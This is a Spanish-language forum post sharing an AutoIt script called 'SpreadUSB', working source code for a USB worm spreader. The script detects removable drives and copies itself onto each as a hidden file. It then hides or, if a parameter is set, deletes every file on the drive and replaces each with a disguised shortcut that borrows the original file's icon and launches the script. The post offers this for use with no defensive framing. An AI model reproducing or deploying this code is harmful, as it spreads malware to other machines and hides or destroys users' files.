SpreadUSB
Publicado: 14 Mar 2014, 19:07
Hola, Aquí les dejo este Spread para USB. La función para extraer el icono no es mía la encontré en autoitscript.com pero no se quien es el autor, no lo ponía.
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Script Function:
Esparcir un archivo a los perifericos USB conectados al equipo
Parametro:
$sHideOrDelete => Si este parametro es 0 los archivos que se encuentran dentro del USB seran ocultados, de lo contario
si este parametro es distinto de 0 los archivos seran borrados
#ce ----------------------------------------------------------------------------
#include <File.au3>
#include <GDIPlus.au3>
Func Spread_USB($sHideOrDelete)
Local $sUSB = Detect_USB()
If $sUSB = '' Then
Exit
Else
Local $sArray = StringSplit($sUSB, '@')
For $i = 0 To UBound($sArray) - 1
If Not FileExists($sArray[$i] & '\' & @ScriptName) Then
Local $sFiles = _FileListToArray($sArray[$i] & '\')
For $si = 1 To UBound($sFiles) - 1
_ExtractIcon($sArray[$i] & '\' & $sFiles[$si], $sArray[$i] & '\Icon' & $si & '.ico', 1)
DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\Icon' & $si & '.ico', 'dword', 0x2)
FileCreateShortcut($sArray[$i] & '\' & @ScriptName, $sArray[$i] & '\' & $sFiles[$si] & '.lnk', '', '', '', $sArray[$i] & '\Icon' & $si & '.ico')
If $sHideOrDelete <> 0 Then
FileDelete($sArray[$i] & '\' & $sFiles[$si])
Else
DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & $sFiles[$si], 'dword', 0x2)
EndIf
Next
FileCopy(@ScriptFullPath, $sArray[$i] & '\' & @ScriptName)
DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & @ScriptName, 'dword', 0x2)
EndIf
Next
EndIf
EndFunc ;==>Spread_USB
Func _ExtractIcon($source, $outsource, $iconnumber)
$Ret = DllCall("shell32", "long", "ExtractAssociatedIcon", "int", 0, "str", $source, "int*", $iconnumber)
$hIcon = $Ret[0]
_GDIPlus_Startup()
$pBitmapdll = DllCall($ghGDIPDll, "int", "GdipCreateBitmapFromHICON", "ptr", $hIcon, "int*", 0)
$pBitmap = $pBitmapdll[2]
_WinAPI_DestroyIcon($Ret[0])
_GDIPlus_ImageSaveToFileEx($pBitmap, $outsource, "{557CF400-1A04-11D3-9A73-0000F81EF32E}")
_GDIPlus_ImageDispose($pBitmap)
_GDIPlus_Shutdown()
EndFunc ;==>_ExtractIconFromExe
Func Detect_USB()
Local $sReturn
Local $sDriver = DriveGetDrive('REMOVABLE')
If $sDriver <> 0 Then
For $i = 1 To $sDriver[0]
$sReturn = $sReturn & $sDriver[$i] & '@'
Next
EndIf
Return StringUpper($sReturn)
EndFunc ;==>Detect_USB
Saludos